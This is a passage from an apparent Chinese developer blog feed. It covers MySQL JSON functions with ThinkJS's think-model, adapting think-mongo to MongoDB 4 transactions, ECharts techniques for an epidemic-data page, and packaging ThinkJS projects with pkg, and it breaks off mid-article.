//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(&amp;#39;user&amp;#39;); const where = { _string: [ &amp;#34;JSON_CONTAINS(info, &amp;#39;\&amp;#34;male\&amp;#34;&amp;#39;, &amp;#39;$.sex&amp;#39;)&amp;#34;, &amp;#34;JSON_SEARCH(info, &amp;#39;one&amp;#39;, &amp;#39;basketball&amp;#39;, null, &amp;#39;$.hobby&amp;#39;)&amp;#34; ] }; const where1 = { _string: [ &amp;#34;JSON_VALUE(`info`, &amp;#39;$.sex&amp;#39;) = &amp;#39;male&amp;#39;&amp;#34;, &amp;#34;&amp;#39;basketball&amp;#39; MEMBER OF (JSON_VALUE(`info`, &amp;#39;$.hobby&amp;#39;))&amp;#34; ] }; const where2 = { _string: [ &amp;#34;JSON_VALUE(`info`, &amp;#39;$.sex&amp;#39;) = &amp;#39;male&amp;#39;&amp;#34;, &amp;#34;JSON_OVERLAPS(JSON_VALUE(`info`, &amp;#39;$.hobby&amp;#39;), JSON_QUOTE(&amp;#39;basketball&amp;#39;))&amp;#34; ] } const users = await userModel.field(&amp;#39;name&amp;#39;).where(where).select(); return this.success(users); } } 修改数据 MySQL 提供的 JSON 操作函数中，和修改操作相关的方法主要如下：
JSON_APPEND/JSON_ARRAY_APPEND：这两个名字是同一个功能的两种叫法，MySQL 5.7 的时候为 JSON_APPEND，MySQL 8 更新为 JSON_ARRAY_APPEND，并且之前的名字被废弃。该方法如同字面意思，给数组添加值。使用方法 JSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...) JSON_ARRAY_INSERT：给数组添加值，区别于 JSON_ARRAY_APPEND() 它可以在指定位置插值。使用方法 JSON_ARRAY_INSERT(json_doc, path, val[, path, val] ...) JSON_INSERT/JSON_REPLACE/JSON_SET：以上三个方法都是对 JSON 插入数据的，他们的使用方法都为 JSON_[INSERT|REPLACE|SET](json_doc, path, val[, path, val] ...)，不过在插入原则上存在一些差别。 JSON_INSERT：当路径不存在才插入 JSON_REPLACE：当路径存在才替换 JSON_SET：不管路径是否存在 JSON_REMOVE：移除指定路径的数据。使用方法 JSON_REMOVE(json_doc, path[, path] ...) 由于 JSON_INSERT, JSON_REPLACE, JSON_SET 和 JSON_REMOVE 几个方法支持属性和数组的操作，所以前两个 JSON_ARRAY 方法用的会稍微少一点。下面我们根据之前的数据继续举几个实例看看。
修改用户的年龄 mysql&amp;gt; UPDATE `user` SET `info` = JSON_REPLACE(`info`, &amp;#39;$.age&amp;#39;, 20) WHERE `name` = &amp;#39;lilei&amp;#39;; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql&amp;gt; SELECT JSON_VALUE(`info`, &amp;#39;$.age&amp;#39;) as age FROM `user` WHERE `name` = &amp;#39;lilei&amp;#39;; +------+ | age | +------+ | 20 | +------+ 1 row in set (0.00 sec) JSON_INSERT 和 JSON_SET 的例子也是类似，这里就不多做演示了。对应到 think-model 中的话，需要使用 EXP 条件表达式处理，对应的写法为
//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(&amp;#39;user&amp;#39;); await userModel.where({name: &amp;#39;lilei&amp;#39;}).update({ info: [&amp;#39;exp&amp;#39;, &amp;#34;JSON_REPLACE(info, &amp;#39;$.age&amp;#39;, 20)&amp;#34;] }); return this.success(); } } 修改用户的爱好 mysql&amp;gt; UPDATE `user` SET `info` = JSON_ARRAY_APPEND(`info`, &amp;#39;$.hobby&amp;#39;, &amp;#39;badminton&amp;#39;) WHERE `name` = &amp;#39;lilei&amp;#39;; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql&amp;gt; SELECT JSON_VALUE(`info`, &amp;#39;$.hobby&amp;#39;) as hobby FROM `user` WHERE `name` = &amp;#39;lilei&amp;#39;; +-----------------------------------------+ | hobby | +-----------------------------------------+ | [&amp;#34;basketball&amp;#34;, &amp;#34;football&amp;#34;, &amp;#34;badminton&amp;#34;] | +-----------------------------------------+ 1 row in set (0.00 sec) JSON_ARRAY_APPEND 在对数组进行操作的时候还是要比 JSON_INSERT 之类的方便的，起码你不需要知道数组的长度。对应到 think-model 的写法为
//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(&amp;#39;user&amp;#39;); await userModel.where({name: &amp;#39;lilei&amp;#39;}).update({ info: [&amp;#39;exp&amp;#39;, &amp;#34;JSON_ARRAY_APPEND(info, &amp;#39;$.hobby&amp;#39;, &amp;#39;badminton&amp;#39;)&amp;#34;] }); return this.success(); } } 删除用户的分数 mysql&amp;gt; UPDATE `user` SET `info` = JSON_REMOVE(`info`, &amp;#39;$.score[0]&amp;#39;) WHERE `name` = &amp;#39;lilei&amp;#39;; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql&amp;gt; SELECT `name`, JSON_VALUE(`info`, &amp;#39;$.score&amp;#39;) as score FROM `user` WHERE `name` = &amp;#39;lilei&amp;#39;; +-------+-----------+ | name | score | +-------+-----------+ | lilei | [90, 100] | +-------+-----------+ 1 row in set (0.00 sec) 删除这块和之前修改操作类似，没有什么太多需要说的。但是对数组进行操作很多时候我们可能就是想删值，但是却不知道这个值的 Path 是什么。这个时候就需要利用之前讲到的 JSON_SEARCH() 方法，它是根据值去查找路径的。比如说我们要删除 lilei 兴趣中的 badminton 选项可以这么写。
mysql&amp;gt; UPDATE `user` SET `info` = JSON_REMOVE(`info`, JSON_UNQUOTE(JSON_SEARCH(`info`, &amp;#39;one&amp;#39;, &amp;#39;badminton&amp;#39;))) WHERE `name` = &amp;#39;lilei&amp;#39;; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql&amp;gt; SELECT JSON_VALUE(`info`, &amp;#39;$.hobby&amp;#39;) as hobby FROM `user` WHERE `name` = &amp;#39;lilei&amp;#39;; +----------------------------+ | hobby | +----------------------------+ | [&amp;#34;basketball&amp;#34;, &amp;#34;football&amp;#34;] | +----------------------------+ 1 row in set (0.00 sec) 这里需要注意由于 JSON_SEARCH 不会做类型转换，所以匹配出来的路径字符串需要进行 JSON_UNQUOTE() 操作。另外还有非常重要的一点是 JSON_SEARCH 无法对数值类型数据进行查找，也不知道这个是 Bug 还是 Feature。这也是为什么我没有使用 score 来进行举例而是换成了 hobby 的原因。如果数值类型的话目前只能取出来在代码中处理了。
mysql&amp;gt; SELECT JSON_VALUE(`info`, &amp;#39;$.score&amp;#39;) FROM `user` WHERE `name` = &amp;#39;lilei&amp;#39;; +-------------------------------+ | JSON_VALUE(`info`, &amp;#39;$.score&amp;#39;) | +-------------------------------+ | [90, 100] | +-------------------------------+ 1 row in set (0.00 sec) mysql&amp;gt; SELECT JSON_SEARCH(`info`, &amp;#39;one&amp;#39;, 90, null, &amp;#39;$.score&amp;#39;) FROM `user` WHERE `name` = &amp;#39;lilei&amp;#39;; +-------------------------------------------------+ | JSON_SEARCH(`info`, &amp;#39;one&amp;#39;, 90, null, &amp;#39;$.score&amp;#39;) | +-------------------------------------------------+ | NULL | +-------------------------------------------------+ 1 row in set (0.00 sec) 以上对应到 think-model 的写法为
//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(&amp;#39;user&amp;#39;); // 删除分数 await userModel.where({name: &amp;#39;lilei&amp;#39;}).update({ info: [&amp;#39;exp&amp;#39;, &amp;#34;JSON_REMOVE(info, &amp;#39;$.score[0]&amp;#39;)&amp;#34;] }); // 删除兴趣 await userModel.where({name: &amp;#39;lilei&amp;#39;}).update({ info: [&amp;#39;exp&amp;#39;, &amp;#34;JSON_REMOVE(`info`, JSON_UNQUOTE(JSON_SEARCH(`info`, &amp;#39;one&amp;#39;, &amp;#39;badminton&amp;#39;)))&amp;#34;] }); return this.success(); } } 后记 由于最近有一个需求，有一堆数据，要记录这堆数据的排序情况，方便根据排序进行输出。一般情况下肯定是给每条数据增加一个 order 字段来记录该条数据的排序情况。但是由于有着批量操作，在这种时候使用单字段去存储会显得特别麻烦。在服务端同事的见一下，我采取了使用 JSON 字段存储数组的情况来解决这个问题。
也因为这样了解了一下 MySQL 对 JSON 的支持情况，同时将 think-model 做了一些优化，对 JSON 数据类型增加了支持。由于大部分 JSON 操作需要通过内置的函数来操作，这个本身是可以通过 EXP 条件表达式来完成的。所以只需要对 JSON 数据的添加和查询做好优化就可以了。
整体来看，配合提供的 JSON 操作函数，MySQL 对 JSON 的支持完成一些日常的需求还是没有问题的。除了作为 WHERE 条件以及查询字段之外，其它的 ORDER, GROUP, JOIN 等操作也都是支持 JSON 数据的。
不过对比 MongoDB 这种天生支持 JSON 的话，在操作性上还是要麻烦许多。特别是在类型转换这块，使用一段时间后发现非常容易掉坑。什么时候会带引号，什么时候会不带引号，什么时候需要引号，什么时候不需要引号，这些都容易让新手发憷。另外 JSON_SEARCH() 不支持数字查找这个也是一个不小的坑了。</description></item><item><title>think-mongo 升级适配 mongodb 4</title><link>https://imnerd.org/think-mongo-adapter-with-mongodb4.html</link><pubDate>2020-11-25</pubDate><guid>https://imnerd.org/think-mongo-adapter-with-mongodb4.html</guid><description>今天是端午节，首先祝大家端午节快乐，然后今天要和大家说一下最近对 think-mongo 模块做了一些升级。ThinkJS 3 虽然已经支持使用 think-mongoose 来接入 mongoose 模块，不过因为文档这块默认还是 think-mongo 所以用这个模块的同学还是比较多。而这个模块因为是两三年前开发的了，依赖的 mongodb 模块一直是 2.x 的版本，适配 MongoDB 数据库 2.0 版本。而 MongoDB 在 2015 年的时候就升级到了 3.0 版本，2018 年的时候升级到了 4.0 的版本。其中 4.0 的版本增加了事务的功能，这个让许多同学非常心动。所以很多同学提 issue 问能否将 think-mongo 升级一下支持最新版的 MongoDB。
想要适配 MongoDB 其实就是要升级底层依赖的 mongodb 模块，而它在适配新版的同时修改了大量的 API 接口，导致我们没办法直接修改版本号搞定这件事情。之前因为业务中没有 MongoDB 数据库的需求，所以我们也就没有对这个事情做处理，原本是希望有需求的同学可以自行提 PullRequest 的。不过恰好最近新项目中有需要使用 MongoDB 的事务，所以我这边就对其进行了新版本适配的处理。
API 适配 大部分的 API 变更可以在 CHANGES_3.0.0.md 这个文档中找到。首先是之前所有在 Db 类上的方法拆分成了 Client 类和 Db 类，这个影响了 MongoDB 创建连接时的逻辑。
//之前的写法 MongoClient.connect(&amp;#39;mongodb://localhost:27017/test&amp;#39;, (err, db) =&amp;gt; { // Database returned }); //现在的写法 MongoClient.connect(&amp;#39;mongodb://localhost:27017/test&amp;#39;, (err, client) =&amp;gt; { // Client returned var db = client.db(&amp;#39;test&amp;#39;); }); 另外就是增删改查的 API 做了修改，包括但不局限于
collection.insert() 被细化成了 collection.insertOne() 和 collection.insertMany() collection.remove() 被细化成了 collection.deleteOne() 和 collection.deleteMany() collection.update() 被细化成了 collection.updateOne() 和 collection.updateMany() collection.find(where, field) 被拆分成了 collection.find(where).project(field) 可以看到操作都分成了单个操作和多个操作。think-mongo 中因为有 add() 和 addMany() 所以正好可以对应 insertOne() 和 insertMany() ，而 update() 和 delete() 是没有做单个和多个的区别的，所以只能映射到 updateMany() 和 deleteMany() 方法。
还有一个修改是 collection.aggregate() 方法，原先直接返回结果现在返回后还需要执行下 cursor.toArray() 才能拿到结果。
事务 升级后就可以使用 MongDB 原生的事务特性了。MongoDB 的事务操作和 SQL 的事务操作不太一样，SQL 类的是通过 START TRANSACTION、COMMIT 和 ROLLBACK 语句标记来记录一次事务的。MongoDB 的我觉得更像是 JS 操作。
const client = new MongoClient(uri); await client.connect(); const session = client.startSession(); try { session.startTransaction(); await client.db(&amp;#39;think_db&amp;#39;).add({name: &amp;#39;thinkjs&amp;#39;}, {session}); await session.commitTransaction(); } catch(e) { await session.abortTransaction(); } finally { await session.endSession(); } await client.close(); 可以看到 MongoDB 会给每次事务创建一个 session 会话记录，所有的 CURD 操作需要将会话标记通过参数的形式传入进去，这样所有的操作就能挂载到当前的事务会话中。最后通过 commitTransaction、abortTransaction() 来对事务提交进行操作。基于这个原理我们包装了 transaction() 方法，用来帮助大家方便的实现事务操作。
// src/controller/user.js module.exports = class extends think.Controller{ async indexAction() { const UserModel = this.mongo(&amp;#39;user&amp;#39;); const PostModel = this.mongo(&amp;#39;post&amp;#39;); await UserModel.transaction(async session =&amp;gt; { PostModel.options.session = session; const userId = await UserModel.add({name: &amp;#39;lizheming&amp;#39;}); await PoserModel.add({userId, content: &amp;#39;Hello World&amp;#39;}); }); } } 可以看到我们并没有在 add() 操作中将 session 会话标记传入，这是因为我们会将它放在示例的 options 属性中，之后的所有的 CURD 操作都会将它透传下去，这样就避免了我们人工显式地去传递它了。同时由于 session 标记只在当前创建事务的表中存在，所以在进行多表操作的时候，为了让其它表也能透传会话标记，需要显式的进行标记赋值操作PostModel.options.session = session;，保证跨表操作都能记录在一次事务中。
后记 由于事务需要 MongoDB 开启集群模式，而我们在 Travis CI 上跑单元测试的时候依赖了它提供的 mongodb 服务，为了让这个服务能切换成集群模式顺利将单元测试跑成功我又做了好多无意义的提交。主要是网上查到的资料也都比较老了，很多 MongoDB 的配置都做了修改，比如找到的资料是 toml 格式的配置，而新的配置已经是 yaml 的配置了。当然这些也都是我踩了好几下坑才发现的就是了。
以上就是 think-mongo 升级适配最新的 MongoDB 4.x 的一些总结，内部的适配都已经在 think-mongo@2.1.0 版本中集成，有需要的同学可以升级下对应的模块使用。如果项目中有直接使用 mongodb 模块提供的原生方法操作数据的话需要注意按照本文说的一些变更进行修改适配，切记！
最后的最后，再一次祝大家端午节快乐。2020 年注定是不平凡的一年，大家且行且珍惜。</description></item><item><title>疫情专题之ECharts 经验总结</title><link>https://imnerd.org/echarts-experiences-summary.html</link><pubDate>2020-08-23</pubDate><guid>https://imnerd.org/echarts-experiences-summary.html</guid><description>最近开发肺炎疫情专题页，大量的使用到了 ECharts 地图和图表相关的功能。之前也没有使用过 ECharts，所以把一些稍微复杂的需求实现总结一下，希望以后能帮助到大家。
地图 不同的文字颜色 上面是一个非常简单的中国肺炎确诊数地图，其中的数据都是模拟非真实的数据。默认文字颜色都是黑色的，但是由于湖北的背景色比较重，所以需要换一个浅色的文字。省名都已经使用 label.formatter 方法进行了重新的格式化，而 formatter 支持 rich 文本，格式为 {&amp;lt;stylename&amp;gt;|text}，可以针对部分标签进行样式个性化。
{ geo: { label: { formatter(params) { const serieItem = dataList.find(({name}) =&amp;gt; params.name === name); if (serieItem &amp;amp;&amp;amp; serieItem.value &amp;gt; 1000) { return `{white|${params.name}}`; } }, rich: { white: { fontSize: 14, color: &amp;#39;#FFF&amp;#39; } } } } } 但是这么做了之后你会发现 hover 的时候也还是白色的，这时候因为 hover 的背景色变成亮色了就会不和谐了。后来发现其实 map 数据有一个 regions 属性可以支持对不同地区进行样式个性化，通过 regions.label 单独针对湖北进行标签颜色设置就不会影响 hover 时候的状态了。
{ geo: { regions: dataList.filter(({value}) =&amp;gt; value &amp;gt; 1000).map(({name}) =&amp;gt; ({ name, label: { color: &amp;#39;#FFF&amp;#39; } })) } } 展示 tooltip 地图完成后需要自定义提示框，这个直接使用 tooltip.formatter 方法自定义即可。提示框是 ECharts 使用 HTML 追加上去的，所以我们可以愉快的忽略掉 tooltip 中所有的样式配置自己写 CSS 就好了。如果你的提示框里有按钮或者链接需要被点击，记得将 tooltip.enterable 设置成 true。
除了 hover 展示提示框，产品还想要一进入页面就展示某个地区的提示框，这个时候就需要使用 dispatchAction() 来触发事件了。其中 seriesIndex 是必填参数，官网文档中写的 系列的 index，在 tooltip 的 trigger 为 axis 的时候可选。 把我误导了很久，一直以为是非必填参数。
myChart.dispatchAction({ type: &amp;#34;showTip&amp;#34;, seriesIndex: 0, name: &amp;#34;湖北&amp;#34; }); 挪动文字位置 地图完成后 PC 上效果还行，但是在移动端有些地方太小就不太好选中，比如香港和澳门。在明确地图点击区域范围无法修改，沟通之后他们想要把香港、澳门两个文字标注拖出来一点，然后将文字的点击区域变大来解决地图无法点击的问题。
ECharts 的地图库文件是使用的 geojson 格式编写，然后使用 ECharts 独有的万国码编码方式进行编码。可以打开库文件看一下，整体的结构还是 geojson 的结构，只是在 coordinate 字段对一系列的坐标值进行了编码压缩体积。下面是 ECharts geojson 的示例，其中 features.properties.cp 属性点的位置就是 ECharts 用来指定标签绘制的位置的。也就是说我们只要直接修改地图文件中的这个坐标点就能实现我们移动标签名的需求了。
{ &amp;#34;type&amp;#34;: &amp;#34;FeatureCollection&amp;#34;, &amp;#34;features&amp;#34;: [ { &amp;#34;id&amp;#34;: &amp;#34;820000&amp;#34;, &amp;#34;type&amp;#34;: &amp;#34;Feature&amp;#34;, &amp;#34;geometry&amp;#34;: { &amp;#34;type&amp;#34;: &amp;#34;Polygon&amp;#34;, &amp;#34;coordinates&amp;#34;: [ [ [113.5537109375, 22.1083984375], [113.5322265625, 22.17578125], [113.5498046875, 22.21484375], [113.6044921875, 22.1337890625], [113.5537109375, 22.1083984375] ] ], &amp;#34;encodeOffsets&amp;#34;: [ [116279, 22639] ] }, &amp;#34;properties&amp;#34;: { &amp;#34;cp&amp;#34;: [114.54909, 21.198951], &amp;#34;name&amp;#34;: &amp;#34;澳门&amp;#34;, &amp;#34;childNum&amp;#34;: 1 } } ], &amp;#34;UTF8Encoding&amp;#34;: false } 修改坐标点，大家可以手工加减坐标调整，也可以使用 ECharts 的事件返回，它提供了 convertFromPixel() 方法将画布上的像素点转成成经纬度坐标。这样我们就可以通过鼠标点击来返回合适的坐标点了。
mapChart.getZr().on(&amp;#39;click&amp;#39;, params =&amp;gt; { const pointInPixel = [params.offsetX, params.offsetY]; if(!mapChart.containPixel(&amp;#39;geo&amp;#39;, pointInPixel)) { return; } const [longitude, latitude] = mapChart.convertFromPixel(&amp;#39;geo&amp;#39;, pointInPixel); console.log([logitude, latitude]); }); 将省市名称挪动到合适的位置后，根据产品需求还需要增大它们的点击区域。这个时候我们可以利用刚才的思路，点击的时候是可以获取到当前位置的坐标的，那么我只需要定义范围，在这个范围内的点击就认为点击到了名称并执行对应的操作即可。
const criticalValues = { 香港: { latitude: {min: 21.351907733532478, max: 22.593942914070382}, longitude: {min: 115.2082740504213, max: 118.71519666876716} }, 澳门: { latitude: {min: 19.817628981103297, max: 21.20578594758684}, longitude: {min: 111.60393691489914, max: 115.2082740504213}, } }; function getTarget(mapChart, criticalValues, pointInPixel) { if(!mapChart.containPixel(&amp;#39;geo&amp;#39;, pointInPixel)) { return; } const [longitude, latitude] = mapChart.convertFromPixel(&amp;#39;geo&amp;#39;, pointInPixel); for(const province in criticalValues) { const {min: minLati, max: maxLati} = criticalValues[province].latitude; const {min: minLong, max: maxLong} = criticalValues[province].longitude; if(latitude &amp;lt; minLati || latitude &amp;gt; maxLati) { continue; } if(longitude &amp;lt; minLong || longitude &amp;gt; maxLong) { continue; } return province; } } mapChart.getZr().on(&amp;#39;click&amp;#39;, params =&amp;gt; { const pointInPixel = [params.offsetX, params.offsetY]; const province = getTarget(mapChart, criticalValues, pointInPixel); if(!province) { return; } mapChart.dispatchAction({ type: &amp;#39;showTip&amp;#39;, seriesIndex: 0, name: province, position: &amp;#39;top&amp;#39; }); }); 增加辅助线 标签名字离远了之后产品又怕会对地图造成歧义歧义引发法律问题，所以让我再增加两根指向线将名称和地域进行指向标记。在 GeoJSON 中是支持使用 LineString 画线的，也是定义一些关键坐标即可。不过不知道是不是 ECharts 不支持，我这边尝试并没有成功。后来看到 ECharts 其实是支持类似跃迁图的，虽然大材小用，但也是能实现这个需求的。
{ series: [ { name: &amp;#39;辅助线&amp;#39;, type: &amp;#39;lines&amp;#39;, silent: true, lineStyle: { color: &amp;#39;black&amp;#39;, opacity: 1, }, data: [ {coords: [ [114.42895791301109, 22.155577556233474], [115.5979321191264, 21.936394877315017] ]}, {coords: [ [113.45481274124836, 21.936394877315017], [113.35739822407209, 21.20578594758684] ]}, ] } ] } 图表 多行图例 除了地图之外，页面内还有很多可视化图表的需求。其中有一个需求是需要实现将图例两行排列。ECharts 中是没有直接的参数控制图例的排列方式的。后来搜索到其实 legend 是可以定义成数组的，通过 legend.top 去控制每行图例的高度即可。
{ legend: [ { x: &amp;#39;center&amp;#39;, top: 40, icon: &amp;#39;circle&amp;#39;, itemWidth: 7, itemHeight: 7, textStyle: { color: &amp;#39;#888&amp;#39; }, data: [&amp;#39;新增病例&amp;#39;, &amp;#39;累计病例&amp;#39;] }, { x: &amp;#39;center&amp;#39;, top: 60, icon: &amp;#39;circle&amp;#39;, itemWidth: 7, itemHeight: 7, textStyle: { color: &amp;#39;#888&amp;#39; }, data: [&amp;#39;新增疑似&amp;#39;, &amp;#39;累计疑似&amp;#39;] }, ] } 布局对齐 不等距Y轴 2月12日的时候，由于卫健委更改了肺炎疫情的确诊标准，把临床确诊的病例也加入进来，导致了当天病例数大量的增加，图表其它数据则由于该峰值其它数据都不明显了，结果则如上图。为了解决这个问题，数据统计的同事建议我们将该异常峰值在图表中的点位拉低，顶部 Y 轴刻度线不标记具体刻度，点上标记真实数字，相邻数据使用虚线连接。这样处理能比较好的解决单个点位异常峰值的问题，大家最后都比较认同这种处理方案。
那 ECharts 需要如何实现这种方案呢？总结一下我们应该需要实现以下三部分：
虚线连接相邻数据 异常值点位拉低，并将其真实数据使用文字标出 顶部实现一处不标记 Y 轴点位的坐标阴影区 异常值虚线连接相邻数据 我们知道 ECharts 是可以通过 series.lineStyle 来设置线段的样式的，但是它最大的问题是没办法设置部分线段的样式。取巧的办法就是将单条线段数据分成两条实线和虚线，实线显示的点位虚线数据补为空，虚线显示的点位实现补上空数据。这样就能分别针对两条数据进行线段样式设置了。
同时由于本质上是两条数据，我们为了让线段显示连续，所以在结合处做了重复数据显示。所以在 tooltip 显示的时候会出现两个重复数据显示以及空值显示等问题，需要使用 tooltip.formatter 单独处理一下。
{ xAxis: { data: [&amp;#39;02.09&amp;#39;, &amp;#39;02.10&amp;#39;, &amp;#39;02.11&amp;#39;, &amp;#39;02.12&amp;#39;, &amp;#39;02.13&amp;#39;, &amp;#39;02.14&amp;#39;, &amp;#39;02.15&amp;#39;] }, series: [ { name: &amp;#34;新增确诊&amp;#34;, data: [2656, 3062, 2478, null, 2450, 2277, 1918] }, { name: &amp;#34;新增确诊&amp;#34;, data: [null, null, 2478, 15153, 2450, null, null], itemStyle: { normal: { lineStyle: {type: &amp;#39;dotted&amp;#39;} } } } ], tooltip: { formatter(params) { //使用哈希表过滤掉同线段名称的重复数据以及空值 const paramsObj = {}; params.forEach(p =&amp;gt; { if(p.value !== null) { paramsObj[p.seriesName] = p; } }); const newParams = Object.values(paramsObj).map(p =&amp;gt; p.marker + &amp;#39; &amp;#39; + p.seriesName + &amp;#39;: &amp;#39; + value); return newParams.length ? params[0].name + &amp;#39;&amp;lt;br/&amp;gt;&amp;#39; + newParams.join(&amp;#39;&amp;lt;br/&amp;gt;&amp;#39;) : &amp;#39;&amp;#39;; } }, } 异常值点位拉低 我们知道折线图图表点的所在高度是和它的值是有关系的，所以要实现异常值点位拉低，则需要显示的修改它的值才行。同时增加一个 raw 字段的映射标记下原始值，方便在 label 和 tooltip 中使用。
{ series: [ { name: &amp;#34;新增确诊&amp;#34;, //为了拉低点位将异常值的显示点位值拉低到 4000，同时使用 except 记录真实值，方便 label 中使用 data: [null, null, 2478, {value: 4000, except: 15153}, 2450, null, null], } ], label: { formatter(param) { if(param.data &amp;amp;&amp;amp; param.data.except) { return param.data.except; } } } } 不标记的Y轴空挡区 如何创建一个不标记数字的 Y 轴空档区？这个我查了下资料还真没找到方法，最后也是通过一个取巧的方法实现的。通过文档知道了 Y 轴是可以通过 yAxis.axisLabel.showMaxLabel 设置不显示最大值的标记。所以我将异常值设置成和 Y 轴最大刻度值一致，这样就能有一个顶部空档区了。最后综合下显示出来的效果就如下图。
{ yAxis: { axisLabel: { showMaxLabel: false } } } 数字排列 移动端因为位置太小的原因，我们最开始没有将折线数字外显的，点击后会出提示框显示当天的数据。后来老板觉得不直观，让我们加上了数字外显的逻辑。这个时候就会碰上某些地方因为数值的原因数字显示会挤在一块。而 label 顶多只能通过 label.position 统一设置该条数据的数字的显示位置是在上方还是在下方，对于局部的微调则无能为力了。
最后看到 label.formatter 是可以返回 {&amp;lt;style_name&amp;gt;|value} 这样的 rich 文本格式来自定义样式的，在自定义样式中可以设置 padding 来控制该点数字的偏移。例如下面的代码就实现了当前确诊数大于疑似数的时候，疑似数向下显示，否则确诊数向下显示的逻辑。
{ series: [ { name: &amp;#39;累计确诊&amp;#39;, label: { formatter(param) { const {diagnosed, suspected} = data[data.length - 1 - param.dataIndex]; if(parseInt(diagnosed) &amp;lt; parseInt(suspected)) { return `{padding|${param.value}}`; } }, rich: { padding: { padding: [-40, 0, 0, 0] } } } }, { name: &amp;#39;现有疑似&amp;#39;, label: { formatter(param) { const {diagnosed, suspected} = data[data.length - 1 - param.dataIndex]; if(parseInt(diagnosed) &amp;lt; parseInt(suspected)) { return `{padding|${param.value}}`; } }, rich: { padding: { padding: [0, 0, -40, 0] } } } } ] } 参考资料：
如何让图例两行显示
echarts折线图实线与虚线拼接,及提示框浮层内容格式的设置</description></item><item><title>使用 pkg 打包 ThinkJS 项目</title><link>https://imnerd.org/pack-thinkjs-project-by-pkg.html</link><pubDate>2019-01-28</pubDate><guid>https://imnerd.org/pack-thinkjs-project-by-pkg.html</guid><description>在 ThinkJS 的用户群里，经常有开发者提出需要对源码进行加密保护的需求。我们知道 JavaScript 是一门动态语言，不像其他静态语言可以编译成二进制包防止源码泄露。所以就出现了 pkg、nexe 之类的工具，支持将 JS 代码连同 Node 一块打包成一个可执行文件，一来解决了环境依赖的问题，二来解决了大家关心的源码保护的问题。
在 pkg 模块的 README 中，罗列了它的几大用处，如果你有下面的几个需求的话建议不妨试试。
为应用提供商业发行版而不用暴露源码 为应用提供 demo 而不用暴露源码 一键打包所有平台可执行文件而不需要对应平台环境依赖 提供自解压或自安装的解决方案 运行应用不需要安装 Node.js 和 npm 部署仅需要一份单文件，不需要通过 npm 安装大量的依赖 资源打包后让应用迁移起来更加方便 在指定 Node.js 版本下对应用进行测试而不需要安装对应的版本 如何使用 关于 pkg 模块的基础使用，大家可以看 《把你的NodeJS程序给没有NodeJS的人运行》 这篇文章。通过 npm install -g pkg 在全局安装上模块后就可以在命令行中使用 pkg 命令了。pkg 除了支持在命令行中指定参数之外，还支持在 package.json 中进行配置。
{ ... &amp;#34;bin&amp;#34;: &amp;#34;production.js&amp;#34;, &amp;#34;scripts&amp;#34;: { &amp;#34;pkg&amp;#34;: &amp;#34;pkg . --out-path=dist/&amp;#34; }, &amp;#34;pkg&amp;#34;: { &amp;#34;scripts&amp;#34;: [...] &amp;#34;assets&amp;#34;: [...], &amp;#34;targets&amp;#34;: [...] }, ... } 以上就是一个简单的配置。bin 用来指定最终打包的入口文件，pkg.scripts 和 pkg.assets 用来指定除了入口文件之外需要打包进可执行文件中的内容，其中前者用来指定其他 .js 文件，后者用来指定非.js的资源。pkg.targets 则是用来指定需要打包的平台，平台名称结构如下，node${version}-${platform}-${arch}。version 用来指定具体 Node 的版本，platform 用来指定编译的平台，可以是 freebsd, linux, alpine, macos 或者 win，最后 arch 用来指定编译平台的架构，可以是 x64, x86, armv6 或者 armv7。例如 node10-macos-x64 表示的就是基于 Node 10 打包在 MacOS 平台上执行的可执行程序。scripts, assets 和 targets 都支持数组配置多个。
将入口文件、依赖的脚本和资源、需要编译的平台配置好之后，执行 npm run pkg 即可完成编译。
如何打包 ThinkJS pkg 的原理大概是提供一个虚拟的文件系统，将 __filename, __dirname 等变量以及官方 API 中的 IO 操作方法指向本地文件系统的变量修改成指向虚拟系统。通过该虚拟文件系统读取压缩打包后的程序源码，提供脚本执行的环境。需要注意的是该虚拟文件系统是只读的，所以如果程序中有基于 __dirname 进行读写操作的方法，需要规避规避掉。
代码预处理 在 ThinkJS 项目中会有以下两个地方有文件写入操作：
项目启动后会在 runtime/config/${env}.json 下写入最终的配置文件 生产环境下默认会在 logs/ 目录中写入线上日志 这些目录默认都是基于当前项目文件夹的，所以基于之前的理论都需要规避。pkg 的 README 中告诉我们 process.cwd() 还是会指向到真实的环境中，所以我们可以修改以上目录的位置到 process.cwd() 来解决这个问题。
//pkg.js const path = require(&amp;#39;path&amp;#39;); const Application = require(&amp;#39;thinkjs&amp;#39;); const instance = new Application({ //在启动文件中可以自定义配置 runtime 目录 RUNTIME_PATH: path.join(process.cwd(), &amp;#39;runtime&amp;#39;), ROOT_PATH: __dirname, proxy: true, env: &amp;#39;pkg&amp;#39;, }); instance.run(); 基于 production.js 我们新建一个 pkg.js 启动文件，定义项目启动后的 RUNTIME_PATH 路径，并将 env 赋值为 pkg，方便后续的配置中通过 think.env === 'pkg' 来切换配置。
//src/config/adapter.js const {Console, DateFile} = require(&amp;#39;think-logger3&amp;#39;); const isDev = think.env === &amp;#39;development&amp;#39;; const isPkg = think.env === &amp;#39;pkg&amp;#39;; exports.logger = { type: isDev ? &amp;#39;console&amp;#39; : &amp;#39;dateFile&amp;#39;, console: { handle: Console }, dateFile: { handle: DateFile, level: &amp;#39;ALL&amp;#39;, absolute: true, pattern: &amp;#39;-yyyy-MM-dd&amp;#39;, alwaysIncludePattern: true, filename: path.join(isPkg ? process.cwd() : think.ROOT_PATH, &amp;#39;logs/app.log&amp;#39;) } }; 在 adapter 配置中我们将原来基于 think.ROOT_PATH 的路径修改成基于 process.cwd()。除了日志服务之外，如果业务中有使用到 cache 和 session 等服务，它们如果也是基于文件存储的话，也需要修改对应的文件存储配置。当然这些都是 ThinkJS 自带的一些服务，如果项目中有用到其它的一些服务，或者说本身的业务逻辑中有涉及到文件写入的也都需要修改配置。
打包配置 项目的写入操作规避掉之后我们就可以正常的配置 pkg 然后进行打包处理了。一份简单的 pkg 模块的配置大概是这样的：
